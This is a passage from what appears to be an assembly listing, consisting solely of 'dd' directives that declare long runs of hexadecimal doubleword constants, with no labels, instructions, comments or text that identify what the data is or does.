54A3870Eh, 31C585FFh dd 344BD271h, 0CF84DE4Fh, 0ED236338h, 48F72C29h, 95159B15h dd 169534D4h, 389DF420h, 0DDA34572h, 4C11499Dh, 0FF4288EDh dd 0CD11503Fh, 0D892C4D5h, 0A03EA2E3h, 0E1171B0Bh, 71A9B0A1h dd 5444D49Dh, 0B8BECDC4h, 0B0813CEAh, 0F70B89ECh, 23ED7109h dd 0DA92A250h, 0F62DEC9Eh, 615F4DA3h, 72AF021Ah, 0DD264A02h dd 39DA9571h, 28E5F03Dh, 0E76D0004h, 94A34120h, 923B0B04h dd 4A0DD13h, 14E3457Ch, 0AA6C7800h, 0C154C6C7h, 46AF214Fh dd 0E2B983F2h, 0F7F4B48Dh, 71367BE1h, 0FFFDE73Dh, 5EFE7ADFh dd 584A9B2Ch, 0A3550175h, 37F923A4h, 4DA110C7h, 0D3B39BBFh dd 78B9F427h, 0F7B581BAh, 1E4D9C1Eh, 982ED7B4h, 3B57B0BDh dd 4BB2D804h, 0AD558CECh, 5813E154h, 0A3A6F01Eh, 4E0014F8h dd 0BF92D560h, 9D91F6A7h, 2775D666h, 0B10B1C8Ah, 0C78D55B1h dd 3ABCA389h, 2EEC3942h, 0F81627DCh, 0B5C9B248h, 0ADFA0ED5h dd 6F3BD75Bh, 2BC7CD86h, 101ED57h, 6857D966h, 0B4B715FEh dd 9FFA27BEh, 7FF0CE8h, 0B48CF1B4h, 0CE75B95Dh, 7D7B88D4h dd 0CE35AE89h, 0D84DB08Fh, 48DD21B3h, 547648A0h, 4A0C1502h dd 8561D36Bh, 2369D160h, 0C84765C2h, 0ADA44802h, 0F79D29D5h dd 79A4916h, 3D98D751h, 387C85FBh, 8C60805Bh, 0C0743427h dd 7F0B962Ah, 0B8C22022h, 0B3B55514h, 61B6E4D7h, 35F164h dd 974A0A9Dh, 21687355h, 9B695D99h, 7F646EA9h, 3EA554C5h dd 31074219h, 7C6574F7h, 87371F82h, 3BF6C1AFh, 46F07279h dd 0B36F3998h, 6304F50Bh, 0C4D29D92h, 4B9A7FFFh, 0ACD321B5h dd 0B1C240A4h, 0E359CDDFh, 0D811492Fh, 0F3B6D188h, 71312A21h dd 0FFEA950Eh, 802D610Ah, 0D51E797Ch, 93141460h, 68FB8AB8h dd 0C4B80660h, 0B8720473h, 0CA710295h, 7124ABFh, 479B1820h dd 0D0C6C918h, 8F0B8F9Fh, 29F4BD88h, 189B8B99h, 441BEF4Eh dd 735F3F84h, 85698B6Eh, 2C67A06Fh, 5C716257h, 75296EC0h dd 0C57B4B0Dh, 2D32BA08h, 0E83F6E00h, 502EB3E7h, 65E78C1Ah dd 0FC8FA38Dh, 8145FCF8h, 60FBBABh, 4DE6C38Eh, 445B99A3h dd 7D2E2011h, 6C512A95h, 0F9BB3C24h, 4ABFC4BAh, 69358688h dd 19809611h, 85A2CE13h, 1831077Dh, 8CEB26B5h, 541A0E38h dd 116258BDh, 0B456C79Fh, 9CEB7950h, 702DE44Dh, 47454942h dd 182CB94Eh, 0E8DE7220h, 93B8C2F9h, 0A8567F29h, 537AF40Ah dd 0F9146BCCh, 0B3F86F53h, 556C905h, 164DB114h, 7DC5F3E8h dd 80D68D38h, 0C7F650B0h, 1826AC9Ch, 0C0464982h, 7DBD0E18h dd 6B81E745h, 30D26C77h, 9F5E23B6h, 32C821B4h, 80662EB7h dd 6010EBAEh, 0B026DA9Ch, 0B3588D86h, 41D441B1h, 0F19C0B86h dd 5EC2C298h, 0A0963BADh, 8FB29860h, 32392048h, 0BC5F38A4h dd 444B5869h, 702136D3h, 66C0B4D2h, 2B2863EAh, 42E92E4h dd 0CEAAB8B6h, 0E712738Eh, 56D0BB1Ch, 2E76C325h, 895F0031h dd 20B5E3B1h, 98529E09h, 0CA2AFCFFh, 32FE82CBh, 5F09EBD8h dd 0F275B3A3h, 0EF94523Ah, 1C64A4FAh, 0E590BFC5h, 0CA40943Bh dd 5E30A059h, 59D67138h, 2865F10h, 3CB41186h, 0C36679F2h dd 7BCA6941h, 0C4DA0729h, 30DB7F11h, 204B1627h, 0D130A133h dd 1CA778B7h, 3CCF770Bh, 0A70E59h, 0D2DB3EDDh, 71AEFCh dd 1CD3F9EEh, 0F3B307F3h, 0A2E14A37h, 6F9812AFh, 0C3D614F8h dd 9E058263h, 931E05B1h, 0C28B3570h, 50890F05h, 0B24D2070h dd 8FB1240h, 83520C6Fh, 9603025Ch, 0EFCA1BACh, 0D20E25A0h dd 5F687BABh, 0BE6CFF5h, 57168686h, 515A9815h, 4D6AC34h dd 394F042Eh, 1498C0E9h, 0E658095Dh, 2D19829Ch, 2797DD7Ah dd 61A1D43Eh, 0D7828152h, 7D2E7066h, 5AAC1C5h, 0D5EBDBB9h dd 5FEF7A64h, 4195C611h, 5BCDAC66h, 9EC8D2FFh, 9600D937h dd 0B90E80E6h, 30B55FF2h, 0F64B4CCEh, 3FCB9532h, 0F4DF4CE2h dd 0BED22415h, 0F1D334A5h, 6C25B52Eh, 5154291Eh, 0E7A327D5h dd 0CB8416BCh, 5A27D606h, 0DFB5443Eh, 0E292EAC7h, 65E13B99h dd 0B87EE63Fh, 0C8E62AC3h, 9865C2ABh, 0E09C3CEEh, 4660A47Eh dd 96791258h, 51088D33h, 4821CE81h, 35334BFAh, 10DE78D7h dd 54FA3CB7h, 6D38A7DFh, 4EF4EF58h, 939F00D5h, 0D9275EB7h dd 822AC45Bh, 0E7801EB8h, 384B0085h, 0C3466980h, 9AEA85F2h dd 0D2D16995h, 56174F3Ah, 87581B51h, 0F5C4D1C5h, 2EA47B9Dh dd 0F7DA1CBEh, 30A7749Fh, 0B5A5EC8h, 63BBA63Eh, 0A3618D4Bh dd 0F6C72BA7h, 54931E39h, 0FDFC7562h, 0B11BB64Fh, 0A566B9BEh dd 6B565655h, 0D8CD4146h, 862FC9D9h, 19FF2761h, 0E3D24961h dd 75348F32h, 825F1A13h, 22011E4Eh, 0DE66F9AAh, 792F600Bh dd 7430E7B8h, 0CBBCB7C7h, 41B4ADC1h, 0F2BE9359h, 0ACCD18B0h dd 449E52D6h, 129B9AACh, 0DD0C8762h, 0EB3423D8h, 6934C4E8h dd 0DD5BD88Dh, 0F3958E7h, 61957960h, 915057E2h, 768F96A9h dd 0E4E22FCBh, 1B80657Bh, 691EBBE7h, 0D659CC5Bh, 1FC04BDCh dd 0B97432D9h, 875E1BD1h, 0E5D81C28h, 0A8F261B1h, 0A843EAC1h dd 0A5A76C59h, 39B8E8CFh, 952AFB1Fh, 0E366DD6Fh, 0C7D1DFF5h dd 9681519Bh, 4AA25CB8h, 1850AEB3h, 0F28C6168h, 1B70719Fh dd 0C390F057h, 5F59AA09h, 8CC6CC0Bh, 3D017003h, 0FEEFE2E2h dd 1C9AFCE2h, 0E02562C7h, 79053EF7h, 6D1F9FF4h, 8DE359A9h dd 0F8E3410Fh dd 0B358A21h, 0E90E3FABh, 99482000h, 3732E67Ah, 74EB2B57h dd 85F1D2B6h, 0C17FCD04h, 0E1191A2Eh, 41D99798h, 3C4B1F0Ch dd 4875EAE3h, 5A69A743h, 4069BBB8h, 2B391B5h, 45873168h dd 6AD5C005h, 0D5BC889h, 0B34693A2h, 3068EB4Ch, 1E83B5B9h dd 5CEB050Dh, 7AD9B56Dh, 85A7A281h, 0FAE09AD6h, 3F202FEBh dd 0FE20FA0Bh, 0FC9A7A89h, 0B3B23A41h, 7F335E7h, 55E6936Fh dd 0AEC1D615h, 95C9A5EEh, 5D6E8957h, 0B4B6F076h, 0D05FAE5Dh dd 8DC33EFDh, 7459F2D9h, 0AEC9F3EAh, 8DC685CDh, 4ED16C28h dd 73A5E87h, 0F1C23FF2h, 27BD9F48h, 7E184936h, 5DDF2692h dd 2317660Eh, 6E49066Fh, 0CDC7B2C8h, 8608D98Fh, 9C0A6805h dd 0CA40BED2h, 0E2EE87CFh, 204D2281h, 0D4DFCF2Bh, 0A3BAAAECh dd 4536FD5Dh, 34C3CE0Bh, 0D315CF6Bh, 0ABB7651Ah, 90F10C36h dd 699EF773h, 4A7D75CCh, 16A2A88h, 0B838E78Bh, 0B1F1E351h dd 55A9E431h, 5F69C83Bh, 1342BC1Dh, 99380285h, 0FF324D1Fh dd 1F4B5C21h, 0D0509F4Ah, 0DBE77837h, 0F5F25D1Dh, 0AD3D60F9h dd 0EFD2C10h, 0DA088E33h, 0C99F30B8h, 0EBF1D62Ah, 208196E2h dd 505A1441h, 6DFBACFDh, 0DF227101h, 50F8323Bh, 631AB6DAh dd 8B14C035h, 65B7D685h, 62EBAD7Ah, 7DA2E578h, 0D8836B15h dd 95D869B2h, 21B60F2Eh, 5B8B8B2Bh, 9E8254F8h, 0D28FE23h dd 0C01CA268h, 48158E50h, 0F178FC18h, 9A1E338Bh, 53B34098h dd 2A5CB8C8h, 3B660C5Ah, 0E47EE8DAh, 1D095558h, 460546B9h dd 0FC9CA5A6h, 0D8B561A4h, 7CFF1247h, 1297E9C6h, 0B2100E36h dd 96CF70FFh, 0D26D54C9h, 11CD0305h, 4A62F2A1h, 88A388A2h dd 2ED812CEh, 6012DD7Ah, 0E955B350h, 0BCB0C5C3h, 9DFDE495h dd 5184EBEDh, 3DD0487Bh, 0F73C8EAEh, 81609E5Ah, 561EA2D8h dd 8FE4957Ah, 5D035BF3h, 40198419h, 0E0AF63A3h, 1F3D4331h dd 1E81BA4Ch, 0CBDBA3DFh, 0B6491D57h, 61B3578Fh, 77731BA0h dd 0E7E400E6h, 52CE375Bh, 0C3EE5761h, 0A2B9FF80h, 9FE420E4h dd 0F268912h, 7FE02D47h, 0C0134E7Eh, 345CFDAh, 0FD9EBB16h dd 0BB225869h, 0E6B9213Dh, 0A35451D2h, 0B76CDC7Ah, 39EC0855h dd 0C81DB627h, 208B18B8h, 6BAD779Fh, 0DE478861h, 2E91BB9Ah dd 0C2CC1E07h, 209EF8D4h, 0BCEA305Dh, 0FA9559DBh, 0D18E89D9h dd 0FF36A91Eh, 18033DF3h, 4444F271h, 0B1B08B93h, 862018E4h dd 7C7216EFh, 0A2F823E1h, 75F66A00h, 0EDDC54D8h, 8AD6A7ADh dd 1BBB8C9Ch, 0E872D026h, 18CAEFC9h, 6A2D0BBCh, 0FB60A315h dd 875C3575h, 25A7F330h, 0F43AEA1Dh, 47A54CC5h, 0D6C1B846h dd 7B66D2D5h, 0C6C7C4C2h, 0D4BA8548h, 7AE00E69h, 5C1F43F4h dd 0C305349Ch, 8B270A99h, 0DA8D6B86h, 3A1AE870h, 4EE02DDh dd 8A75496Ch, 412F8AD8h, 0E6EF1907h, 969D56EAh, 3A81549Bh dd 6B8956Dh, 0C22E1E6Eh, 62B25922h, 0A48F49F3h, 311DD5D4h dd 0FFB694C1h, 0BBE161D7h, 0A85080F4h, 0B067127Ch, 622142B9h dd 0B3B5710Ch, 55642079h, 0FB47BAFFh, 4B5D1BAFh, 159F152Ah dd 0FBE8FB95h, 4095CB62h, 545F84DBh, 0E98420D6h, 49659F9h dd 0E031F06Eh, 5428E8BCh, 563F0EB7h, 94AE902Ch, 0D393A6E5h dd 56C5454Fh, 0F94B7F99h, 33F8B633h, 98DF77Bh, 2D31DF85h dd 7402E8FEh, 219E6CECh, 8E7B0B1Eh, 224300Ch, 77A12209h dd 6E29CF2Bh, 0B9606951h, 67C71328h, 5BF0194Ch, 0AD4D390Eh dd 41282DD0h, 0CA4594E2h, 2EE2EE3h, 0A32E647Ah, 7A2792ABh dd 40FB3A5Ah, 0A433E302h, 0FF08FDDFh, 590F6829h, 0C627104Fh dd 202AF6CCh, 9DE85F9h, 0FB9CA86Dh, 84D05C5Eh, 787EF8Eh dd 95536F2Dh, 52D78BE2h, 0D7F6581h, 13D2EDD3h, 0A7E7D34Dh dd 0D4E2048Dh, 0E069BD12h, 9C33A5E9h, 11A378A9h, 0CC14B171h dd 583B45Bh, 543DD188h, 25C74406h, 0DC5061FFh, 1E0B4810h dd 15163712h, 2E83F36Ch, 7D2763E6h, 0A4FAEB3Ah, 4A167846h dd 3679ACACh, 0B2BA9108h, 0C28AC85h, 7C72C814h, 2FD1C112h dd 9F652B4Fh, 76D7FFADh, 7E7161F4h, 0EE5A6C66h, 165A9090h dd 854A3E01h, 542FB9C5h, 69A4AF67h, 0DFBC8327h, 340A389Eh dd 0A9EA2D04h, 9F1F1F0Eh, 418A0256h, 6000002Fh, 0DAE3AA4Dh dd 0C4550AE8h, 81D4CC91h, 0F2C8D6B9h, 9B1FB8D3h, 0B42C83FAh dd 0ABA405BBh, 3A80C655h, 77261B57h, 11D4871Eh, 0A15FD1F6h dd 255E4B52h, 0E02B0909h, 0DF6DFFCEh, 6B972B9Dh, 0D177A77Ah dd 411DED49h, 4E002113h, 52282805h, 5E302552h, 0F24B41E7h dd 40E4B6BFh, 0D74C8391h, 9461DD36h, 6961CB3Eh, 3FA13A67h dd 6511EC2Eh, 0E878B18h, 65AAA655h, 0A1E7842h, 0C3E46571h dd 65EACAC8h, 5F747307h, 1F1EE37Fh, 0CA81440h, 0A761ADD7h dd 2E7F73Dh, 125AA8F6h, 6CA1E2DBh, 8F37F873h, 4B5800F8h dd 0BC9916D2h, 75E44C4Dh, 0F17816F8h, 0E1AEA8D7h, 0CCD30779h dd 0AF356611h, 0C4F5287Dh, 1E9ABC0Bh, 0A16FB505h, 9461DFBFh dd 0F03CE655h, 341BABA8h, 362512A6h, 0B81CFE07h, 12EA11CDh dd 0FC7E21DDh, 4BC5D524h, 9F3298FCh, 36E5BC2h, 7E75F5A1h dd 920D5A61h, 0B3BD99E1h, 49E51305h, 0A8C66E20h, 0FF2D75D1h dd 0F7AF06E2h, 0E0698824h, 0C3A7CA63h, 6568CF24h, 0F7189CA6h dd 46DFFFA3h, 0D8EDA4BFh, 0F342EAB1h, 0A085C516h, 1F084D59h dd 9CE96077h, 0B1ADF5E7h, 0AC2CAF1Ch, 3CF6823h, 68593803h dd 3C296E60h, 0DDC84E7Ah, 978DA297h, 0D05F0907h, 0B4921E9Ch dd 0DC617C47h, 0BD18FA42h, 0F3486865h, 0E18A4902h, 3CD25B61h dd 28C9F556h, 0B75A9C75h, 0BAEEEA10h, 0EA5A399Fh, 0EBCD6C0Dh dd 4B82DF78h, 6DE4A185h, 0A3537B31h, 0CB02A5A7h, 19F5EF42h dd 37F8C20Ch, 0C02CF2A3h, 0F73D87CAh, 7F8D8E0Eh, 60657C51h dd 0E8B6E3DAh, 0EB416994h, 0ACCECC77h, 31A8E47Ch, 0B930CB41h dd 2C2576BDh, 6C5C9012h, 4E14123Eh, 693B40ADh, 347BDA6h dd 4A7B76Dh, 117435F6h, 0BCC77666h, 0C5DC1015h, 81220954h dd 5D5CC8D0h, 2977306Ch, 0D69F038Bh, 2774B8Dh, 698B161h dd 0D0462681h, 0F718B8DAh, 50CE0DC2h, 0FD0179EAh, 15A4C0B4h dd 0D5C7A788h, 6AAA5B6h, 55535FB7h, 654C7592h, 3AD07EEAh dd 0C9487368h, 0E54528E7h, 16C6A4B8h, 0D12D0F96h, 0F660AECDh dd 9752666Dh, 3296C7DAh, 0BC486C2Eh, 0E21A321Ch, 6AB59C15h dd 902E84FEh, 31BA6139h, 7D10A6D2h, 4EE6F016h, 9F337048h dd 0A529BDBFh, 47B0E6E9h, 7B4C7309h, 19B0CEAh, 0B09A39EDh dd 11BE4AE5h, 0FA17ADF4h, 3DCFEE0Eh, 0B4536450h, 9D3AAAACh dd 0D6A06F62h, 516305C2h, 0DB7159F8h, 0EC9C7015h, 5ABE6895h dd 95317ACEh, 23A100CAh, 8CD3612Dh, 0D229E81Eh, 0D2CC4726h dd 359F36CBh, 567BCD6Ch, 8045CA5Eh, 1C51ED67h, 329DFBFCh dd 7848F9ABh, 8ABBEF3Ah, 0A3C3EBCEh, 89219F6Eh, 5393786h dd 1E7C7F25h, 0BB930713h, 0E70389ABh, 0DD27859h, 0AA16DFCAh dd 0E40A7A28h, 0FDFF1BB6h, 443F1F9Bh, 90489DAEh, 23768CEAh dd 0AE54E03Bh, 652BAF44h, 0DCD18A89h, 0A26DB7Ch, 0D7AB206Ch dd 16FD3E44h, 1498FEB0h, 0C7225260h, 0B21787FBh, 927C61E9h dd 0EDE2BB8Ah, 27019CD0h, 5BDC6622h, 1A10526h, 0F86748A2h dd 20B7D8E4h, 827BB250h, 88906547h, 1F217823h, 9825CC52h dd 0C90E2D1Fh, 4DB0B2EDh, 0D4E485ECh, 672DBB3h, 0DF9F145h dd 0FA43840Ch, 3779E22Eh, 1D48FB25h, 7C9E5878h, 0A3E18A2Bh dd 93B97117h, 0BCD23DD9h dd 8CFCE498h, 21F52C3Dh, 0EFD02852h, 43085C2Dh, 710C65A7h dd 0F9752E79h, 0C34FDFC1h, 0DECDE713h, 0BED48C06h, 6BF5310Eh dd 918A1B8Dh, 23743663h, 0D21D5C95h, 5E5EDED2h, 23D841Fh dd 62C9A1B9h, 3A04CFE9h, 49C706AAh, 0A3A636A3h, 70E25876h dd 5B0AB5F2h, 3FFBC5Fh, 7DBBB9h, 0D853AC4Ch, 28FC6611h dd 0D75FB1D4h, 151CD737h, 0F20A4650h, 7AB8C247h, 65E842BDh dd 31492B44h, 1C992E0Dh, 0AF0DC989h, 0A205C44h, 676CB7EFh dd 42DCFBE7h, 58E235DBh, 116F3937h, 0FB31A9CCh, 0F83C2B32h dd 0F432F90Fh, 1F0F88B6h, 0A23EE0CBh, 0EF00E67Bh, 633E92E3h dd 0CE2493FBh, 0DC5F3A91h, 49964EB0h, 0B5972D2Ch, 1996FBC6h dd 0EA02B1B0h, 0AFA7B0C1h, 73BAE04Eh, 7A54BA1Ch, 0DF228EE1h dd 94030CC5h, 5A647CF8h, 0E8B3C1A9h, 0B6C5703Fh, 0A399335Fh dd 296C4767h, 0EB6A5FBEh, 7982C111h, 72475568h, 4D2A8676h dd 9015ADFAh, 0A95AA420h, 170943Fh, 0A926DFECh, 2EA248E8h dd 754D3217h, 0E05330E5h, 383CA89Dh, 0BDBE8A44h, 0C60BFD13h dd 51271917h, 0F88087BDh, 0B508DDC4h, 1E4B0084h, 7FB1086Ch dd 0F797F808h, 8DEBED35h, 0F351BC29h, 0ABE596DCh, 9CB6B641h dd 0ED805BBDh, 74870E74h, 0DFB5B6CAh, 0CAA0A5C2h, 9B2AE396h dd 70B20CF0h, 764CB99Eh, 6190E950h, 94B207BEh, 0AA9F48A2h dd 13D55DF5h, 1DF4ACEAh, 0F54B1CB6h, 908B1051h, 7A64ACC7h dd 48956B70h, 56A8B867h, 0A4C8C706h, 0C495A627h, 36F8D371h dd 0FE73D76Fh, 0C2872F36h, 0F8A55189h, 0FB01D1AAh, 0F53877F7h dd 6A2CB05Ch, 7BE0E9D7h, 9BCBC6B1h, 0E9B8EB08h, 0E2848EF0h dd 0A62144C0h, 4257523Eh, 0B15773FCh, 31A57F2Fh, 0BDF00C7Ah dd 1C8F6A40h, 0F2CF66FFh, 943AFA0Dh, 981C26EBh, 0D77E9E2Ah dd 0C1346513h, 921DCA46h, 0B6AE991Ch, 678EB588h, 0BF174496h dd 0BAA1A869h, 902B6D7Ch, 0FFC7C2EAh, 6F4A8A8Fh, 0CED9F599h dd 28EEA50Eh, 43C18679h, 4FAAF61Eh, 7B8DA5FCh, 0AAA53833h dd 0F23E8ADh, 6950A94Fh, 0F8B73812h, 3CACC77Bh, 0B94F0038h dd 0DD086269h, 68F493BEh, 715BCD57h, 0A5DE0FDFh, 0F408DF2Ch dd 0BD960DF4h, 525E7159h, 0EB11E8B0h, 5D03A5FAh, 0C4E1C2C7h dd 8C9B248Dh, 0B38806E8h, 0ED41AA36h, 819DA372h, 0CFF16EDBh dd 68DE189Eh, 8F984050h, 0B8E7C091h, 0B718A030h, 1BB930C6h dd 2B0532BDh, 0A10996B7h, 77C43A3h, 0F2875AA8h, 0F00592D5h dd 0B29AD848h, 11D26B88h, 0CDA110BAh, 0F86F0307h, 3B8F6345h dd 0A76F8581h, 0ED981B01h, 8E23368Ah, 51AD8973h, 4397DA4Ch dd 3429AEF5h, 0CAD3B94Ah, 0EC288264h, 60CCB278h, 0DFD631D1h dd 0CE02C79Bh, 24E1C143h, 7F0C1DBEh, 7DE2E505h, 566D5FD0h dd 0B135DDC3h, 3F7FBC5Eh, 8C866D4Eh, 5FE60DC2h, 2DADCC4Bh dd 0FDBB3AA5h, 63085E7Dh, 33AB1FF4h, 5DE6304Ch, 88EAA2B7h dd 4459C798h, 0FC2820D4h, 0F4D19D9Ah, 0BCF82406h, 0A9F39642h dd 677746B4h, 176A832Ch, 83F4DCD8h, 6FFFD42Eh, 0F1ED38E0h dd 50764AF7h, 52B73030h, 4E9E3117h, 0B5E158D2h, 5B6169DCh dd 6880C577h, 6876444Dh, 5E234061h, 398FA57h, 3CC46943h dd 8A7B2F53h, 0CF11FDD6h, 0F226041Fh, 0BDD4FD34h, 9B801DC0h dd 0C3C88AFFh, 0CAE7631Fh, 95687BD9h, 10E5F19Ah, 76184707h dd 0DBEF162h, 272CBCFDh, 6BC8C323h, 0FDE7790Bh, 0C3E6911Dh dd 0FF548EFCh, 7313B2E4h, 5FE47096h, 0C157EA30h, 8D127897h dd 25437812h, 386F5D1Dh, 0FD382847h, 28D7FB11h, 0F6738179h dd 3E065EBBh, 0F8307569h, 72BE4169h, 29C30949h, 0B62217D9h dd 4C7394Dh, 0B6182242h, 0AF04193Bh, 0F582A108h, 0CE09D97Ch dd 3282A1E4h, 5EABBE2Fh, 1A643EA0h, 43040AFBh, 16B07187h dd 0D8D75808h, 932B6A6Dh, 99EE689Dh, 0D11CE4Ch, 74485EDAh dd 0BEED3EF7h, 4A60EE83h, 38F107DBh, 67965377h, 2CA38376h dd 0FAB06295h, 704C277Dh, 46360900h, 0F722281h, 6CBCE7B8h dd 0DD99A338h, 4092BC67h, 52968B98h, 4A9541E6h, 7682F21Bh dd 95F9109Bh, 0D03B95ECh, 46F55874h, 0E1E6A983h, 0CBAC3E7h dd 45F1DD6Fh, 0ECAC563h, 0C9BCDEC9h, 0A869446Eh, 0BFE96CB5h dd 95C55633h, 0FDBFDA0Fh, 19A4D918h, 0A7100F47h, 4F5B92E8h dd 0BFE59C64h, 911756CBh, 66A33C2Ah, 7502B953h, 113F454Eh dd 0BE21DFCBh, 0FB7C6544h, 0CC935C72h, 0E90AF466h, 4FAF65EFh dd 0C28D752h, 7033FC76h, 0A886CC01h, 2EDB25ABh, 16CFA65Ch dd 278B7A71h, 0D0497372h, 0D61BBEE5h, 0ADD1EF3h, 90C85A6Fh dd 46DEF9C2h, 0DAAA8A2Eh, 176481D8h, 260C0899h, 0C13B4A6h dd 5502465Bh, 6239810Dh, 56DD7C63h, 0D3B6478Fh, 229CE9BDh dd 0E0C9C3FEh, 5F44D8A1h, 0C0D8C2CFh, 8778C6E1h, 86ED629Ah dd 0B88BEFEAh, 5DB75738h, 1442F851h, 11D49B1Bh, 0B76D84EFh dd 6BF75446h, 312F7CFCh, 7D4E0384h, 2B77413Fh, 0A6E43E55h dd 6C3B4E67h, 602E5A17h, 0C5CD800Ah, 85586A2Fh, 0C405EB85h dd 0FFE39C58h, 760CEEC5h, 0CC2B8BB7h, 0E78BE16Ah, 693A5B8Bh dd 98343A54h, 1902A266h, 0ADFD3F43h, 72610F4h, 0C28AF6FAh dd 0FBCD8CD3h, 0E4B1B06Fh, 9934802Bh, 37FD1B9Eh, 8A6BAFFFh dd 2D6310B0h, 79200CFDh, 0D18C2137h, 7F57DE81h, 6DC8EB69h dd 32AA0CD5h, 0F59135D0h, 0C49C5AC9h, 0ADA3AB99h, 4D9166A6h dd 2EF464F1h, 70C3FB4Ah, 0FE766D2Ah, 0BCCB3783h, 6ED01D0Ch dd 0D79CA10Dh, 20EF529Ch, 9E1A0EA3h, 0BE692F94h, 0D79169D0h dd 554C88C2h, 34E77025h, 0F85D132Fh, 6BE05A4h, 0DDE58503h dd 9E6673B8h, 17C53EEDh, 9CEE0118h, 0ADC462D0h, 0B378F0A5h dd 0A21C5B4Ah, 0C44EB339h, 8273123Dh, 71D1CEE3h, 0BEFD55BFh dd 243E36C9h, 41A152AFh, 609A7135h, 0AFD8333Eh, 13DD3FB6h dd 0AB06DCB2h, 2D9C7AFAh, 0A597EF95h, 21B20278h, 4DAD2DD0h dd 7AF48E41h, 0F29C922Ch, 7D5CA0EBh, 9EAEE5Ch, 8B25EE1Dh dd 77576244h, 0E27AF892h, 0C9B9C01Ch, 76C81CA0h, 1E833C4Ch dd 0CD64EF3Ch, 42395D71h, 0CA063893h, 0A04A9CC6h, 0BEFF830Fh dd 5274F686h, 18F91D11h, 0A4E237CDh, 0AE3D3969h, 0A238AF4Dh dd 8A153F9Eh, 7F0E94E0h, 0DB3672A9h, 0DF372B4Ch, 0CE70E53Ch dd 5926B231h, 7E090F04h, 34191A29h, 4D17FFB4h, 0AA56F224h dd 0DEDFEF92h, 0A02BA603h, 44A0B1ABh, 112A2FEAh, 4B307A4Bh dd 119F6A46h, 0E7C26536h, 0DC50CAB6h, 98026BDAh, 0C6811618h dd 0B70AE27Ah, 0EF11D5A4h, 3239DF65h, 628EC243h, 554E2313h dd 0A3BA434h, 65847604h, 0B310F130h, 91788D02h, 6143C04Ch dd 5199760Fh, 0FFE83292h, 6520472Dh, 7A7EDDD8h, 339DA284h dd 0A5719F99h, 0FFFAA5Ah, 33DEAB41h, 32A898DAh, 0E4D58BE8h dd 10A74173h, 5CA72DFCh, 4FA58790h, 4DE8D6DAh, 8A3ABAC0h dd 152DE8C3h, 0DCE5D503h, 0E6E9163h, 0E9BE6CABh, 87934EB9h dd 0FDD9149Ah, 3C6DFA73h, 0B0C7A42Eh, 5A60B2D3h, 9B9BCF51h dd 0E5362E3Ch, 0A1CE57D8h, 0E6CA5D63h, 69A8B9F8h, 438EC76h dd 86E2F9C2h, 103D6F44h, 0D6BA7352h, 7AD80F0h, 0C5916B3Ch dd 487094CBh, 1C19A1FBh, 0DD0ABF3Ah, 6F2ED094h, 0D288C9A3h dd 8106DF95h, 6F17B924h, 0BA52A7D2h, 9B25C621h, 0CCCA5241h dd 586FFE90h, 0A4A81A3Bh, 7264DE6Ah, 0B01BC112h, 40D84B79h dd 9BD4628Bh, 4A39803Fh, 47D73766h, 7DFB95E4h, 0C2AF3039h dd 0E577CF8Dh, 80716F71h dd 0AD713963h, 5690D4D0h, 3E1C107Fh, 71044B41h, 0FC703EEEh dd 6C6FF556h, 9D8A7B8Ah, 1E1D3B9Ch, 439A6825h, 9EDF34A4h dd 8015F208h, 60DCE22Ah, 0DD259D07h, 7825E450h, 37510FF7h dd 0A91E93C0h, 0D908B114h, 1555207Ah, 0CE14D34Bh, 0A34AE08Ah dd 7D750676h, 3B6B8C2Dh, 953D6279h, 1B179E1Dh, 659CC1C7h dd 0C5C44E20h, 62470E42h, 0A56077CDh, 44EFDAD1h, 7C3515CAh dd 7268CF41h, 25D5315Ch, 47F78672h, 189A2995h, 752A1091h dd 3C9A15B0h, 4EE3666Ch, 6D007A49h, 9DA94D27h, 7796D0E5h dd 976B9025h, 0D92DDE5Ch, 3DFB3A2Ch, 4A60293Bh, 0CEB5649Bh dd 6B2535AFh, 1541D81Ch, 0E20D8336h, 0FD22AF2Eh, 75602914h dd 0E8B368C6h, 0CC00A0Dh, 7F75398h, 0F03D2178h, 3DD4EF67h dd 6408234Bh, 145C9539h, 0D0D488FDh, 0AEBF0C7Ch, 57D0C09h dd 0F81ED10Bh, 0D56250ABh, 0ACB1B14Ch, 0D77A0AD7h, 0D7FF8C5Dh dd 0B54484F5h, 9762C7EFh, 1FFF1A72h, 6C90B816h, 6A028818h dd 42811E48h, 664C00B6h, 760E73AEh, 5F8DBCDCh, 64DB0C8Eh dd 779AF675h, 0EAD1901Dh, 389C1C14h, 0BEC90087h, 76C5C887h dd 954A103Fh, 1DDBBC19h, 0EB9360DBh, 0A64F4C37h, 0F2655B68h dd 34CBFCC1h, 0EA02B25Fh, 0AE5BE29h, 40B911B0h, 420B734Eh dd 7A3BE374h, 564BA8BDh, 0B145CCEEh, 0F26A1B6Ah, 0B1B9774Dh dd 2E0AEA39h, 79FF1A93h, 0E4489CBAh, 46845C42h, 0C4487772h dd 728708B4h, 0BBC76EF6h, 7BF60419h, 5CB60EB8h, 46ABF2CAh dd 0DE0119A2h, 37B4998Dh, 0EDF52554h, 652451FEh, 6159FDA7h dd 8693DCA6h, 0FC267AB1h, 7FAA04D1h, 0F8125AF8h, 0B8974464h dd 490EE9E0h, 38AA6130h, 886009D6h, 0FB14D978h, 67800FFFh dd 0ECF852B6h, 0C9B916D5h, 82BB3E5Bh, 46BB7547h, 0BB99B53Ch dd 5E2AA257h, 68EB7CB9h, 57116DA8h, 16182AD5h, 0ADB5984Fh dd 0D3CE1EE7h, 0D552C96Ch, 0FA6B03BFh, 988E22EDh, 77CEF7B8h dd 0A179A1CEh, 0CB9E7EE2h, 0F4523C44h, 96D6765Dh, 6A88E6A0h dd 0FE9CEE2Fh, 92C8CD4h, 0E081CDC0h, 2C89BC67h, 0F1048AF4h dd 0E1A11797h, 0A2CEAB74h, 0F3B96F78h, 0F99385A2h, 0C4FED665h dd 0D2A10369h, 0D447CB9Ch, 13BE45Dh, 0A6A73497h, 0C4E3C0E7h dd 4650040Fh, 0DB3EDE89h, 4CC3BFEAh, 68E0C003h, 43EE4904h dd 6FC54EB7h, 0DADD4546h, 538401B4h, 0B10CEBBDh, 0EF9BF30Bh dd 0B0FE564Dh, 0B8325794h, 3850A24Eh, 4563F231h, 414EDA17h dd 3A09C9ACh, 61670DAh, 859783BDh, 1E79F59Ah, 1535AEE7h dd 0F124A7BBh, 494BFD8Eh, 18CA8CA8h, 956830C8h, 3136F317h dd 193851BEh, 8ABE9FF8h, 40775E47h, 0F673D87Ah, 88F1E2CFh dd 0E07C9A93h, 5622F976h, 